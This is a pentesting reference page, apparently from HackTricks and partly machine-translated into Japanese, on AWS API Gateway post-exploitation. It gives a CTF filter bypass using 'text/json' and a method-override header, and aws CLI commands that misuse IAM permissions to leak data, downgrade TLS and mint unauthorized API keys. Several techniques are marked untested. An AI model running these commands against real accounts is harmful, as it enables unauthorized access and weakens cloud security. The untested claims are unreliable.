# AWS - API Gateway Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## API Gateway 詳細は次を参照してください: {{#ref}} ../../aws-services/aws-api-gateway-enum.md {{#endref}} ### 未公開の API にアクセス [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) にサービス `com.amazonaws.us-east-1.execute-api` でエンドポイントを作成し、アクセス可能なネットワーク(場合によっては EC2 マシン経由)にエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てることができます。\ その後、EC2 マシンからエンドポイントにアクセスでき、これまで外部に公開されていなかった API Gateway を呼び出すことができます。 ### Bypass Request body passthrough This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. したがって、CTF では API Gateway に統合テンプレートが設定されており、リクエストが `Content-Type: application/json` で送信された場合にレスポンス内で **preventing the flag from being exfiltrated** という挙動になっていました: ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` しかし、**`Content-type: text/json`** を送信するとそのフィルタを回避できた。 最後に、API Gatewayが `Get` と `Options` のみを許可していたため、ボディにクエリを入れてPOSTリクエストを送信し、ヘッダ `X-HTTP-Method-Override: GET` を使用することで、任意のdynamoDBクエリを制限なく送信できた: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` ### Usage Plans DoS この **Enumeration** セクションでは、キーの **usage plan を取得する** 方法が確認できます。キーを所持していて、1か月あたり X 回に **制限されている** 場合は、単にそのキーを使い続けて **DoS を引き起こす** ことが可能です。 The **API Key** は **`x-api-key`** という **HTTP header** に **含める** だけで構いません。 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` 権限 `apigateway:UpdateGatewayResponse` と `apigateway:CreateDeployment` を持つ攻撃者は、**既存の Gateway Response を修正してカスタムヘッダやレスポンステンプレートを含め、機密情報を leak したり悪意あるスクリプトを実行させたりすることができます**。 ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" # Update the Gateway Response aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}" # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Potential Impact**: 機密情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。 > [!NOTE] > テストが必要 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` `apigateway:UpdateStage` と `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存の API Gateway ステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュされたデータへ不正にアクセスしたりすることができます**。 ```bash API_ID="your-api-id" STAGE_NAME="Prod" # Update the API Gateway stage aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5" # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **潜在的影響**: キャッシュされたデータへの不正アクセス、APIトラフィックの妨害や傍受。 > [!NOTE] > 検証が必要です ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` 権限 `apigateway:PutMethodResponse` と `apigateway:CreateDeployment` を持つ攻撃者は、既存の API Gateway REST API メソッドのメソッドレスポンスを **カスタムヘッダーやレスポンステンプレートを含めるように変更し、機密情報を leak したり悪意のあるスクリプトを実行させたりすることができます**。 ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" HTTP_METHOD="GET" STATUS_CODE="200" # Update the method response aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true" # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Potential Impact**: 敏感情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。 > [!NOTE] > テストが必要 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` `apigateway:UpdateRestApi` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**API Gateway REST API の設定を変更してログ記録を無効化したり、最小 TLS バージョンを変更したりして、API のセキュリティを弱体化させる可能性があります**。 ```bash API_ID="your-api-id" # Update the REST API settings aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER' # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Potential Impact**: APIのセキュリティが弱まり、不正アクセスや機密情報が漏洩する可能性があります。 > [!NOTE] > テストが必要 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` 権限 `apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および `apigateway:CreateUsagePlanKey` を持つ攻撃者は、**新しい API keys を作成し、それらを usage plans に関連付け、これらのキーを使って APIs へ不正アクセスを行うことができます**。 ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') # Create a new usage plan USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id') # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` **潜在的影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。 > [!NOTE] > テストが必要 {{#include ../../../../banners/hacktricks-training.md}}